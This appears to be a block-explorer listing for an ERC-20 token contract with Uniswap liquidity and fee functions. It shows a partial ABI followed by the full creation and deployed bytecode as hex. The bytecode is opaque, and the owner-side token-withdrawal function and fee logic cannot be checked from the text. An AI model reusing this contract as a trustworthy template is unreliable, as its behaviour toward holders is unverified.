"amount","type":"uint256"}],"name":"approve","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"account","type":"address"}],"name":"balanceOf","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"decimals","outputs":[{"internalType":"uint8","name":"","type":"uint8"}],"stateMutability":"pure","type":"function"},{"inputs":[{"internalType":"address","name":"spender","type":"address"},{"internalType":"uint256","name":"subtractedValue","type":"uint256"}],"name":"decreaseAllowance","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"nonpayable","type":"function"},{"inputs":[],"name":"inSwapAndLiquify","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address","name":"spender","type":"address"},{"internalType":"uint256","name":"addedValue","type":"uint256"}],"name":"increaseAllowance","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"nonpayable","type":"function"},{"inputs":[],"name":"liqCount","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"name","outputs":[{"internalType":"string","name":"","type":"string"}],"stateMutability":"pure","type":"function"},{"inputs":[],"name":"owner","outputs":[{"internalType":"address","name":"","type":"address"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address","name":"random_Token_Address","type":"address"},{"internalType":"uint256","name":"percent_of_Tokens","type":"uint256"}],"name":"remove_Random_Tokens","outputs":[{"internalType":"bool","name":"_sent","type":"bool"}],"stateMutability":"nonpayable","type":"function"},{"inputs":[],"name":"renounceOwnership","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[],"name":"swapAndLiquifyEnabled","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"symbol","outputs":[{"internalType":"string","name":"","type":"string"}],"stateMutability":"pure","type":"function"},{"inputs":[],"name":"totalSupply","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address","name":"recipient","type":"address"},{"internalType":"uint256","name":"amount","type":"uint256"}],"name":"transfer","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"sender","type":"address"},{"internalType":"address","name":"recipient","type":"address"},{"internalType":"uint256","name":"amount","type":"uint256"}],"name":"transferFrom","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"nonpayable","type":"function"},{"inputs":[],"name":"uniswapV2Pair","outputs":[{"internalType":"address","name":"","type":"address"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"uniswapV2Router","outputs":[{"internalType":"contract IUniswapV2Router02","name":"","type":"address"}],"stateMutability":"view","type":"function"},{"stateMutability":"payable","type":"receive"}]
Contract Creation Code
6080604052600780546001600160a01b031990811673299011c66595055b02395efca2369a00dd81a47e179091556008805490911673dedbd29cb6768023a974de8de2c2c60a5438738f1790556200005a6009600a620006d2565b6200006990620f4240620006ea565b6009819055600a805461ffff1916610a001781556002600b819055600c55605a600d556000600e819055600f5560105560626011556001601255606490620000b3906014620006ea565b620000bf919062000704565b60135560135460145560646009546014620000db9190620006ea565b620000e7919062000704565b60158190556016556018805460ff60a81b1916600160a81b1790553480156200010f57600080fd5b50600854600080546001600160a01b0319166001600160a01b0390921691821781556040517f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e0908290a360095460016000620001736000546001600160a01b031690565b6001600160a01b03166001600160a01b03168152602001908152602001600020819055506000737a250d5630b4cf539739df2c5dacb4c659f2488d9050806001600160a01b031663c45a01556040518163ffffffff1660e01b8152600401602060405180830381865afa158015620001ef573d6000803e3d6000fd5b505050506040513d601f19601f8201168201806040525081019062000215919062000727565b6001600160a01b031663c9c6539630836001600160a01b031663ad5c46486040518163ffffffff1660e01b8152600401602060405180830381865afa15801562000263573d6000803e3d6000fd5b505050506040513d601f19601f8201168201806040525081019062000289919062000727565b6040516001600160e01b031960e085901b1681526001600160a01b039283166004820152911660248201526044016020604051808303816000875af1158015620002d7573d6000803e3d6000fd5b505050506040513d601f19601f82011682018060405250810190620002fd919062000727565b601880546001600160a01b03199081166001600160a01b039384161790915560178054909116918316919091179055600160046000620003456000546001600160a01b031690565b6001600160a01b03166001600160a01b03168152602001908152602001600020819055506001600360006200037f620005ae60201b60201c565b6001600160a01b03908116825260208083019390935260409182016000908120805495151560ff1996871617905530815260038452828120805486166001908117909155600780548416835284832080548816831790557f262bb27bbdd95c1cdc8e16957e36e38579ea44f7f6413dd7a9c75939def06b2c8054881683179055601854841683526005958690528483208054881683179055549092168152918220805485168217905561dead82527f7d509c07f0d4edcc2dd1b53aae68677132eb562dcba78e36381b63ccaf66e6ba805490941681179093556200046b6000546001600160a01b031690565b6001600160a01b0316815260208082019290925260409081016000908120805494151560ff199586161790553081526005909252812080549092166001908117909255600690620004c46000546001600160a01b031690565b6001600160a01b03908116825260208083019390935260409182016000908120805495151560ff1996871617905560069093527f1aecba4ebe7a4e0673e4891b2b092b2228e4322380b579fb494fad3da8586e228054851660019081179091556007549091168352818320805485168217905530835291208054909216179055620005576000546001600160a01b031690565b6001600160a01b031660006001600160a01b03167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef6009546040516200059f91815260200190565b60405180910390a35062000752565b6000546001600160a01b031690565b634e487b7160e01b600052601160045260246000fd5b600181815b8085111562000614578160001904821115620005f857620005f8620005bd565b808516156200060657918102915b93841c9390800290620005d8565b509250929050565b6000826200062d57506001620006cc565b816200063c57506000620006cc565b8160018114620006555760028114620006605762000680565b6001915050620006cc565b60ff841115620006745762000674620005bd565b50506001821b620006cc565b5060208310610133831016604e8410600b8410161715620006a5575081810a620006cc565b620006b18383620005d3565b8060001904821115620006c857620006c8620005bd565b0290505b92915050565b6000620006e360ff8416836200061c565b9392505050565b8082028115828204841417620006cc57620006cc620005bd565b6000826200072257634e487b7160e01b600052601260045260246000fd5b500490565b6000602082840312156200073a57600080fd5b81516001600160a01b0381168114620006e357600080fd5b611a5880620007626000396000f3fe6080604052600436106102085760003560e01c806370a0823111610118578063a457c2d7116100a0578063dafd18e91161006f578063dafd18e91461060d578063dd62ed3e1461062d578063dd67291b14610673578063ec66b87b14610689578063f879d9df146106a957600080fd5b8063a457c2d7146105a1578063a9059cbb146105c1578063b1cb1582146105e1578063c6618d60146105f757600080fd5b80637c695eda116100e75780637c695eda146104fb5780637d1db4a514610528578063805c0e0f1461053e5780638da5cb5b1461055457806395d89b411461057257600080fd5b806370a0823114610468578063715018a61461049e578063768dc710146104b557806378109e54146104e557600080fd5b8063313ce5671161019b57806349bd5a5e1161016a57806349bd5a5e146103db5780634a74bb02146103fb578063566a6f681461041c578063603176251461043c57806361c9a0dc1461045257600080fd5b8063313ce56714610373578063395093511461038f5780633a9db6fe146103af5780633f70a495146103c557600080fd5b806318160ddd116101d757806318160ddd146102fd57806321dbd9eb1461031c578063220f66961461033257806323b872dd1461035357600080fd5b806306fdde0314610214578063095ea7b31461026557806314ea619a146102955780631694505e146102c557600080fd5b3661020f57005b600080fd5b34801561022057600080fd5b506040805180820190915260168152750e197aa4fe196874b20e192aa4fe19687e197aa322e360541b60208201525b60405161025c91906116f4565b60405180910390f35b34801561027157600080fd5b5061028561028036600461175a565b6106d9565b604051901515815260200161025c565b3480156102a157600080fd5b506102856102b0366004611786565b60056020526000908152604090205460ff1681565b3480156102d157600080fd5b506017546102e5906001600160a01b031681565b6040516001600160a01b03909116815260200161025c565b34801561030957600080fd5b506009545b60405190815260200161025c565b34801561032857600080fd5b5061030e600f5481565b34801561033e57600080fd5b5060185461028590600160a01b900460ff1681565b34801561035f57600080fd5b5061028561036e3660046117a3565b6106f0565b34801561037f57600080fd5b506040516009815260200161025c565b34801561039b57600080fd5b506102856103aa36600461175a565b610759565b3480156103bb57600080fd5b5061030e60125481565b3480156103d157600080fd5b5061030e600b5481565b3480156103e757600080fd5b506018546102e5906001600160a01b031681565b34801561040757600080fd5b5060185461028590600160a81b900460ff1681565b34801561042857600080fd5b506007546102e5906001600160a01b031681565b34801561044857600080fd5b5061030e600d5481565b34801561045e57600080fd5b5061030e60105481565b34801561047457600080fd5b5061030e610483366004611786565b6001600160a01b031660009081526001602052604090205490565b3480156104aa57600080fd5b506104b361078f565b005b3480156104c157600080fd5b506102856104d0366004611786565b60036020526000908152604090205460ff1681565b3480156104f157600080fd5b5061030e60135481565b34801561050757600080fd5b5061030e610516366004611786565b60046020526000908152604090205481565b34801561053457600080fd5b5061030e60155481565b34801561054a57600080fd5b506102e561dead81565b34801561056057600080fd5b506000546001600160a01b03166102e5565b34801561057e57600080fd5b506040805180820190915260068152652227a925a61960d11b602082015261024f565b3480156105ad57600080fd5b506102856105bc36600461175a565b6107d9565b3480156105cd57600080fd5b506102856105dc36600461175a565b610828565b3480156105ed57600080fd5b5061030e600c5481565b34801561060357600080fd5b5061030e600e5481565b34801561061957600080fd5b5061028561062836600461175a565b610835565b34801561063957600080fd5b5061030e6106483660046117e4565b6001600160a01b03918216600090815260026020908152604080832093909416825291909152205490565b34801561067f57600080fd5b5061030e60115481565b34801561069557600080fd5b506008546102e5906001600160a01b031681565b3480156106b557600080fd5b506102856106c4366004611786565b60066020526000908152604090205460ff1681565b60006106e633848461099b565b5060015b92915050565b60006106fd848484610a5c565b61074f843361074a856040518060600160405280602881526020016119d6602891396001600160a01b038a1660009081526002602090815260408083203384529091529020549190610dc3565b61099b565b5060019392505050565b3360008181526002602090815260408083206001600160a01b038716845290915281205490916106e691859061074a9086610def565b600080546040516001600160a01b03909116907f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e0908390a3600080546001600160a01b0319169055565b60006106e6338461074a856040518060600160405280602581526020016119fe602591393360009081526002602090815260408083206001600160a01b038d1684529091529020549190610dc3565b60006106e6338484610a5c565b6000306001600160a01b038416036108945760405162461bcd60e51b815260206004820152601b60248201527f43616e206e6f742072656d6f7665206e617469766520746f6b656e000000000060448201526064015b60405180910390fd5b6040516370a0823160e01b81523060048201526000906001600160a01b038516906370a0823190602401602060405180830381865afa1580156108db573d6000803e3d6000fd5b505050506040513d601f19601f820116820180604052508101906108ff919061181d565b90506000606461090f858461184c565b6109199190611863565b60085460405163a9059cbb60e01b81526001600160a01b0391821660048201526024810183905291925086169063a9059cbb906044016020604051808303816000875af115801561096e573d6000803e3d6000fd5b505050506040513d601f19601f820116820180604052508101906109929190611885565b95945050505050565b6001600160a01b038316158015906109bb57506001600160a01b03821615155b6109fb5760405162461bcd60e51b81526020600482015260116024820152704552523a207a65726f206164647265737360781b604482015260640161088b565b6001600160a01b0383811660008181526002602090815260408083209487168084529482529182902085905590518481527f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b925910160405180910390a3505050565b6001600160a01b03831660009081526006602052604090205460ff16158015610a9e57506001600160a01b03821660009081526006602052604090205460ff16155b15610af557601554811115610af55760405162461bcd60e51b815260206004820152601760248201527f4f766572207472616e73616374696f6e206c696d69742e000000000000000000604482015260640161088b565b6001600160a01b03821660009081526005602052604090205460ff16610b80576001600160a01b038216600090815260016020526040902054601354610b3b83836118a7565b1115610b7e5760405162461bcd60e51b815260206004820152601260248201527127bb32b9103bb0b63632ba103634b6b4ba1760711b604482015260640161088b565b505b6001600160a01b03831615801590610ba057506001600160a01b03821615155b610be45760405162461bcd60e51b81526020600482015260156024820152744552523a205573696e67203020616464726573732160581b604482015260640161088b565b60008111610c425760405162461bcd60e51b815260206004820152602560248201527f546f6b656e2076616c7565206d75737420626520686967686572207468616e206044820152643d32b9379760d91b606482015260840161088b565b600a5460ff61010082048116911610801590610c685750601854600160a01b900460ff16155b8015610c8257506018546001600160a01b03848116911614155b8015610c975750601854600160a81b900460ff165b15610cd05730600090815260016020526040902054601554811115610cbb57506015545b600a805460ff19169055610cce81610e02565b505b6012546001600160a01b038316600090815260046020526040902054610cfc911515901515600161109e565b15610d175760128054906000610d11836118ba565b91905055505b6001600160a01b0383166000908152600360205260408120546001919060ff1680610d5a57506001600160a01b03841660009081526003602052604090205460ff165b15610d685760009150610daf565b6018546001600160a01b0390811690861603610d82575060015b600a805460ff16906000610d95836118d1565b91906101000a81548160ff021916908360ff160217905550505b610dbc85858585856110bb565b5050505050565b60008184841115610de75760405162461bcd60e51b815260040161088b91906116f4565b505050900390565b6000610dfb82846118a7565b9392505050565b6018805460ff60a01b1916600160a01b179055600f54600090606490610e28908461184c565b610e329190611863565b905080600954610e4291906118f0565b60095561dead60005260016020527fb34209a263f6c38fe55f099e9e70f9d67e93982480ff3234a5e0108028ad164d54610e7d9082906118a7565b60016020527fb34209a263f6c38fe55f099e9e70f9d67e93982480ff3234a5e0108028ad164d553060009081526040902054610eba9082906118f0565b30600090815260016020526040812091909155600d54606490610edd908561184c565b610ee79190611863565b905060006064600e5485610efb919061184c565b610f059190611863565b9050600060c860105486610f19919061184c565b610f239190611863565b905047610f4383610f3486856118a7565b610f3e91906118a7565b6114b4565b6000610f4f82476118f0565b90506000600e54600d54601054610f6691906118a7565b610f7091906118a7565b600d54610f7e90606461184c565b610f889190611863565b905060006064610f98838561184c565b610fa29190611863565b90506000600e54600d54601054610fb991906118a7565b610fc391906118a7565b600e54610fd190606461184c565b610fdb9190611863565b905060006064610feb838761184c565b610ff59190611863565b9050611015878261100686896118f0565b61101091906118f0565b61160e565b7f17bbfb9a6069321b6ded73bd96327c9e6b7212a5cd51ff219cd61370acafb561878261104286896118f0565b61104c91906118f0565b604080519283526020830191909152810189905260600160405180910390a1600754479550611084906001600160a01b0316866116b9565b50506018805460ff60a01b19169055505050505050505050565b60008380156110aa5750825b80156110b35750815b949350505050565b8161121c576001600160a01b0385166000908152600160205260409020546110e49084906118f0565b6001600160a01b03808716600081815260016020818152604080842096909655601254948a1680845260049091528583205493835294822054949091526111339392109181141590151561109e565b6111525760408051808201909152838152600060209091015282611173565b6040805180820190915269d3c21bcecceda100000080825260209091018490525b6001600160a01b03851660009081526001602052604090205461119691906118a7565b6001600160a01b0380861660008181526001602052604090819020939093559151908716907fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef906111ea9087815260200190565b60405180910390a361deac196001600160a01b03851601611217578260095461121391906118f0565b6009555b610dbc565b80156113525760006064600b5485611234919061184c565b61123e9190611863565b9050600061124c82866118f0565b6001600160a01b0388166000908152600160205260409020549091506112739086906118f0565b6001600160a01b0380891660009081526001602052604080822093909355908816815220546112a39082906118a7565b6001600160a01b0387166000908152600160205260408082209290925530815220546112d09083906118a7565b3060009081526001602090815260409182902092909255518281526001600160a01b0388811692908a16917fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef910160405180910390a361deac196001600160a01b0387160161134b578060095461134791906118f0565b6009555b5050610dbc565b6000606460405180604001604052806011546000188152602001600c548152506012546002811061138557611385611903565b6020020151611394908661184c565b61139e9190611863565b905060006113ac82866118f0565b6001600160a01b0388166000908152600160205260409020549091506113d39086906118f0565b6001600160a01b0380891660009081526001602052604080822093909355908816815220546114039082906118a7565b6001600160a01b0387166000908152600160205260408082209290925530815220546114309083906118a7565b3060009081526001602090815260409182902092909255518281526001600160a01b0388811692908a16917fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef910160405180910390a361deac196001600160a01b038716016114ab57806009546114a791906118f0565b6009555b50505050505050565b60408051600280825260608201835260009260208301908036833701905050905030816000815181106114e9576114e9611903565b6001600160a01b03928316602091820292909201810191909152601754604080516315ab88c960e31b81529051919093169263ad5c46489260048083019391928290030181865afa158015611542573d6000803e3d6000fd5b505050506040513d601f19601f820116820180604052508101906115669190611919565b8160018151811061157957611579611903565b6001600160a01b03928316602091820292909201015260175461159f913091168461099b565b60175460405163791ac94760e01b81526001600160a01b039091169063791ac947906115d8908590600090869030904290600401611936565b600060405180830381600087803b1580156115f257600080fd5b505af1158015611606573d6000803e3d6000fd5b505050505050565b6017546116269030906001600160a01b03168461099b565b60175460405163f305d71960e01b815230600482015260248101849052600060448201819052606482015261dead60848201524260a48201526001600160a01b039091169063f305d71990839060c40160606040518083038185885af1158015611694573d6000803e3d6000fd5b50505050506040513d601f19601f82011682018060405250810190610dbc91906119a7565b6040516001600160a01b0383169082156108fc029083906000818181858888f193505050501580156116ef573d6000803e3d6000fd5b505050565b600060208083528351808285015260005b8181101561172157858101830151858201604001528201611705565b506000604082860101526040601f19601f8301168501019250505092915050565b6001600160a01b038116811461175757600080fd5b50565b6000806040838503121561176d57600080fd5b823561177881611742565b946020939093013593505050565b60006020828403121561179857600080fd5b8135610dfb81611742565b6000806000606084860312156117b857600080fd5b83356117c381611742565b925060208401356117d381611742565b929592945050506040919091013590565b600080604083850312156117f757600080fd5b823561180281611742565b9150602083013561181281611742565b809150509250929050565b60006020828403121561182f57600080fd5b5051919050565b634e487b7160e01b600052601160045260246000fd5b80820281158282048414176106ea576106ea611836565b60008261188057634e487b7160e01b600052601260045260246000fd5b500490565b60006020828403121561189757600080fd5b81518015158114610dfb57600080fd5b808201808211156106ea576106ea611836565b6000816118c9576118c9611836565b506000190190565b600060ff821660ff81036118e7576118e7611836565b60010192915050565b818103818111156106ea576106ea611836565b634e487b7160e01b600052603260045260246000fd5b60006020828403121561192b57600080fd5b8151610dfb81611742565b600060a082018783526020878185015260a0604085015281875180845260c086019150828901935060005b818110156119865784516001600160a01b031683529383019391830191600101611961565b50506001600160a01b03969096166060850152505050608001529392505050565b6000806000606084860312156119bc57600080fd5b835192506020840151915060408401519050925092509256fe45524332303a207472616e7366657220616d6f756e74206578636565647320616c6c6f77616e636545524332303a2064656372656173656420616c6c6f77616e63652062656c6f77207a65726fa2646970667358221220828e005d15b10800374ddfe69d1fab81b1d2e56dbe0a87a7525e917e3037ddcf64736f6c63430008120033
Deployed Bytecode
0x6080604052600436106102085760003560e01c806370a0823111610118578063a457c2d7116100a0578063dafd18e91161006f578063dafd18e91461060d578063dd62ed3e1461062d578063dd67291b14610673578063ec66b87b14610689578063f879d9df146106a957600080fd5b8063a457c2d7146105a1578063a9059cbb146105c1578063b1cb1582146105e1578063c6618d60146105f757600080fd5b80637c695eda116100e75780637c695eda146104fb5780637d1db4a514610528578063805c0e0f1461053e5780638da5cb5b1461055457806395d89b411461057257600080fd5b806370a0823114610468578063715018a61461049e578063768dc710146104b557806378109e54146104e557600080fd5b8063313ce5671161019b57806349bd5a5e1161016a57806349bd5a5e146103db5780634a74bb02146103fb578063566a6f681461041c578063603176251461043c57806361c9a0dc1461045257600080fd5b8063313ce56714610373578063395093511461038f5780633a9db6fe146103af5780633f70a495146103c557600080fd5b806318160ddd116101d757806318160ddd146102fd57806321dbd9eb1461031c578063220f66961461033257806323b872dd1461035357600080fd5b806306fdde0314610214578063095ea7b31461026557806314ea619a146102955780631694505e146102c557600080fd5b3661020f57005b600080fd5b34801561022057600080fd5b506040805180820190915260168152750e197aa4fe196874b20e192aa4fe19687e197aa322e360541b60208201525b60405161025c91906116f4565b60405180910390f35b34801561027157600080fd5b5061028561028036600461175a565b6106d9565b604051901515815260200161025c565b3480156102a157600080fd5b506102856102b0366004611786565b60056020526000908152604090205460ff1681565b3480156102d157600080fd5b506017546102e5906001600160a01b031681565b6040516001600160a01b03909116815260200161025c565b34801561030957600080fd5b506009545b60405190815260200161025c565b34801561032857600080fd5b5061030e600f5481565b34801561033e57600080fd5b5060185461028590600160a01b900460ff1681565b34801561035f57600080fd5b5061028561036e3660046117a3565b6106f0565b34801561037f57600080fd5b506040516009815260200161025c565b34801561039b57600080fd5b506102856103aa36600461175a565b610759565b3480156103bb57600080fd5b5061030e60125481565b3480156103d157600080fd5b5061030e600b5481565b3480156103e757600080fd5b506018546102e5906001600160a01b031681565b34801561040757600080fd5b5060185461028590600160a81b900460ff1681565b34801561042857600080fd5b506007546102e5906001600160a01b031681565b34801561044857600080fd5b5061030e600d5481565b34801561045e57600080fd5b5061030e60105481565b34801561047457600080fd5b5061030e610483366004611786565b6001600160a01b031660009081526001602052604090205490565b3480156104aa57600080fd5b506104b361078f565b005b3480156104c157600080fd5b506102856104d0366004611786565b60036020526000908152604090205460ff1681565b3480156104f157600080fd5b5061030e60135481565b34801561050757600080fd5b5061030e610516366004611786565b60046020526000908152604090205481565b34801561053457600080fd5b5061030e60155481565b34801561054a57600080fd5b506102e561dead81565b34801561056057600080fd5b506000546001600160a01b03166102e5565b34801561057e57600080fd5b506040805180820190915260068152652227a925a61960d11b602082015261024f565b3480156105ad57600080fd5b506102856105bc36600461175a565b6107d9565b3480156105cd57600080fd5b506102856105dc36600461175a565b610828565b3480156105ed57600080fd5b5061030e600c5481565b34801561060357600080fd5b5061030e600e5481565b34801561061957600080fd5b5061028561062836600461175a565b610835565b34801561063957600080fd5b5061030e6106483660046117e4565b6001600160a01b03918216600090815260026020908152604080832093909416825291909152205490565b34801561067f57600080fd5b5061030e60115481565b34801561069557600080fd5b506008546102e5906001600160a01b031681565b3480156106b557600080fd5b506102856106c4366004611786565b60066020526000908152604090205460ff1681565b60006106e633848461099b565b5060015b92915050565b60006106fd848484610a5c565b61074f843361074a856040518060600160405280602881526020016119d6602891396001600160a01b038a1660009081526002602090815260408083203384529091529020549190610dc3565b61099b565b5060019392505050565b3360008181526002602090815260408083206001600160a01b038716845290915281205490916106e691859061074a9086610def565b600080546040516001600160a01b03909116907f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e0908390a3600080546001600160a01b0319169055565b60006106e6338461074a856040518060600160405280602581526020016119fe602591393360009081526002602090815260408083206001600160a01b038d1684529091529020549190610dc3565b60006106e6338484610a5c565b6000306001600160a01b038416036108945760405162461bcd60e51b815260206004820152601b60248201527f43616e206e6f742072656d6f7665206e617469766520746f6b656e000000000060448201526064015b60405180910390fd5b6040516370a0823160e01b81523060048201526000906001600160a01b038516906370a0823190602401602060405180830381865afa1580156108db573d6000803e3d6000fd5b505050506040513d601f19601f820116820180604052508101906108ff919061181d565b90506000606461090f858461184c565b6109199190611863565b60085460405163a9059cbb60e01b81526001600160a01b0391821660048201526024810183905291925086169063a9059cbb906044016020604051808303816000875af115801561096e573d6000803e3d6000fd5b505050506040513d601f19601f820116820180604052508101906109929190611885565b95945050505050565b6001600160a01b038316158015906109bb57506001600160a01b03821615155b6109fb5760405162461bcd60e51b81526020600482015260116024820152704552523a207a65726f206164647265737360781b604482015260640161088b565b6001600160a01b0383811660008181526002602090815260408083209487168084529482529182902085905590518481527f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b925910160405180910390a3505050565b6001600160a01b03831660009081526006602052604090205460ff16158015610a9e57506001600160a01b03821660009081526006602052604090205460ff16155b15610af557601554811115610af55760405162461bcd60e51b815260206004820152601760248201527f4f766572207472616e73616374696f6e206c696d69742e000000000000000000604482015260640161088b565b6001600160a01b03821660009081526005602052604090205460ff16610b80576001600160a01b038216600090815260016020526040902054601354610b3b83836118a7565b1115610b7e5760405162461bcd60e51b815260206004820152601260248201527127bb32b9103bb0b63632ba103634b6b4ba1760711b604482015260640161088b565b505b6001600160a01b03831615801590610ba057506001600160a01b03821615155b610be45760405162461bcd60e51b81526020600482015260156024820152744552523a205573696e67203020616464726573732160581b604482015260640161088b565b60008111610c425760405162461bcd60e51b815260206004820152602560248201527f546f6b656e2076616c7565206d75737420626520686967686572207468616e206044820152643d32b9379760d91b606482015260840161088b565b600a5460ff61010082048116911610801590610c685750601854600160a01b900460ff16155b8015610c8257506018546001600160a01b03848116911614155b8015610c975750601854600160a81b900460ff165b15610cd05730600090815260016020526040902054601554811115610cbb57506015545b600a805460ff19169055610cce81610e02565b505b6012546001600160a01b038316600090815260046020526040902054610cfc911515901515600161109e565b15610d175760128054906000610d11836118ba565b91905055505b6001600160a01b0383166000908152600360205260408120546001919060ff1680610d5a57506001600160a01b03841660009081526003602052604090205460ff165b15610d685760009150610daf565b6018546001600160a01b0390811690861603610d82575060015b600a805460ff16906000610d95836118d1565b91906101000a81548160ff021916908360ff160217905550505b610dbc85858585856110bb565b5050505050565b60008184841115610de75760405162461bcd60e51b815260040161088b91906116f4565b505050900390565b6000610dfb82846118a7565b9392505050565b6018805460ff60a01b1916600160a01b179055600f54600090606490610e28908461184c565b610e329190611863565b905080600954610e4291906118f0565b60095561dead60005260016020527fb34209a263f6c38fe55f099e9e70f9d67e93982480ff3234a5e0108028ad164d54610e7d9082906118a7565b60016020527fb34209a263f6c38fe55f099e9e70f9d67e93982480ff3234a5e0108028ad164d553060009081526040902054610eba9082906118f0565b30600090815260016020526040812091909155600d54606490610edd908561184c565b610ee79190611863565b905060006064600e5485610efb919061184c565b610f059190611863565b9050600060c860105486610f19919061184c565b610f239190611863565b905047610f4383610f3486856118a7565b610f3e91906118a7565b6114b4565b6000610f4f82476118f0565b90506000600e54600d54601054610f6691906118a7565b610f7091906118a7565b600d54610f7e90606461184c565b610f889190611863565b905060006064610f98838561184c565b610fa29190611863565b90506000600e54600d54601054610fb991906118a7565b610fc391906118a7565b600e54610fd190606461184c565b610fdb9190611863565b905060006064610feb838761184c565b610ff59190611863565b9050611015878261100686896118f0565b61101091906118f0565b61160e565b7f17bbfb9a6069321b6ded73bd96327c9e6b7212a5cd51ff219cd61370acafb561878261104286896118f0565b61104c91906118f0565b604080519283526020830191909152810189905260600160405180910390a1600754479550611084906001600160a01b0316866116b9565b50506018805460ff60a01b19169055505050505050505050565b60008380156110aa5750825b80156110b35750815b949350505050565b8161121c576001600160a01b0385166000908152600160205260409020546110e49084906118f0565b6001600160a01b03808716600081815260016020818152604080842096909655601254948a1680845260049091528583205493835294822054949091526111339392109181141590151561109e565b6111525760408051808201909152838152600060209091015282611173565b6040805180820190915269d3c21bcecceda100000080825260209091018490525b6001600160a01b03851660009081526001602052604090205461119691906118a7565b6001600160a01b0380861660008181526001602052604090819020939093559151908716907fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef906111ea9087815260200190565b60405180910390a361deac196001600160a01b03851601611217578260095461121391906118f0565b6009555b610dbc565b80156113525760006064600b5485611234919061184c565b61123e9190611863565b9050600061124c82866118f0565b6001600160a01b0388166000908152600160205260409020549091506112739086906118f0565b6001600160a01b0380891660009081526001602052604080822093909355908816815220546112a39082906118a7565b6001600160a01b0387166000908152600160205260408082209290925530815220546112d09083906118a7565b3060009081526001602090815260409182902092909255518281526001600160a01b0388811692908a16917fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef910160405180910390a361deac196001600160a01b0387160161134b578060095461134791906118f0565b6009555b5050610dbc565b6000606460405180604001604052806011546000188152602001600c548152506012546002811061138557611385611903565b6020020151611394908661184c565b61139e9190611863565b905060006113ac82866118f0565b6001600160a01b0388166000908152600160205260409020549091506113d39086906118f0565b6001600160a01b0380891660009081526001602052604080822093909355908816815220546114039082906118a7565b6001600160a01b0387166000908152600160205260408082209290925530815220546114309083906118a7565b3060009081526001602090815260409182902092909255518281526001600160a01b0388811692908a16917fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef910160405180910390a361deac196001600160a01b038716016114ab57806009546114a791906118f0565b6009555b50505050505050565b60408051600280825260608201835260009260208301908036833701905050905030816000815181106114e9576114e9611903565b6001600160a01b03928316602091820292909201810191909152601754604080516315ab88c960e31b81529051919093169263ad5c46489260048083019391928290030181865afa158015611542573d6000803e3d6000fd5b505050506040513d601f19601f820116820180604052508101906115669190611919565b8160018151811061157957611579611903565b6001600160a01b03928316602091820292909201015260175461159f913091168461099b565b60175460405163791ac94760e01b81526001600160a01b039091169063791ac947906115d8908590600090869030904290600401611936565b600060405180830381600087803b1580156115f257600080fd5b505af1158015611606573d6000803e3d6000fd5b505050505050565b6017546116269030906001600160a01b03168461099b565b60175460405163f305d71960e01b815230600482015260248101849052600060448201819052606482015261dead60848201524260a48201526001600160a01b039091169063f305d71990839060c40160606040518083038185885af1158015611694573d6000803e3d6000fd5b50505050506040513d601f19601f82011682018060405250810190610dbc91906119a7565b6040516001600160a01b0383169082156108fc029083906000818181858888f193505050501580156116ef573d6000803e3d6000fd5b505050565b600060208083528351808285015260005b8181101561172157858101830151858201604001528201611705565b506000604082860101526040601f19601f8301168501019250505092915050565b6001600160a01b038116811461175757600080fd5b50565b6000806040838503121561176d57600080fd5b823561177881611742565b946020939093013593505050565b60006020828403121561179857600080fd5b8135610dfb81611742565b6000806000606084860312156117b857600080fd5b83356117c381611742565b925060208401356117d381611742565b929592945050506040919091013590565b600080604083850312156117f757600080fd5b823561180281611742565b9150602083013561181281611742565b809150509250929050565b60006020828403121561182f57600080fd5b5051919050565b634e487b7160e01b600052601160045260246000fd5b80820281158282048414176106ea576106ea611836565b60008261188057634e487b7160e01b600052601260045260246000fd5b500490565b60006020828403121561189757600080fd5b81518015158114610dfb57600080fd5b808201808211156106ea576106ea611836565b6000816118c9576118c9611836565b506000190190565b600060ff821660ff81036118e7576118e7611836565b60010192915050565b818103818111156106ea576106ea611836565b634e487b7160e01b600052603260045260246000fd5b60006020828403121561192b57600080fd5b8151610dfb81611742565b600060a082018783526020878185015260a0604085015281875180845260c086019150828901935060005b818110156119865784516001600160a01b031683529383019391830191600101611961565b50506001600160a01b03969096166060850152505050608001529392505050565b6000806000606084860312156119bc57600080fd5b835192506020840151915060408401519050925092509256fe45524332303a207472616e7366657220616d6f756e74206578636565647320616c6c6f77616e636545524332303a2064656372656173656420616c6c6f77616e63652062656c6f77207a65726fa2646970667358221220828e005d15b10800374ddfe69d1fab81b1d2e56dbe0a87a7525e917e3037ddcf64736f6c63430008120033
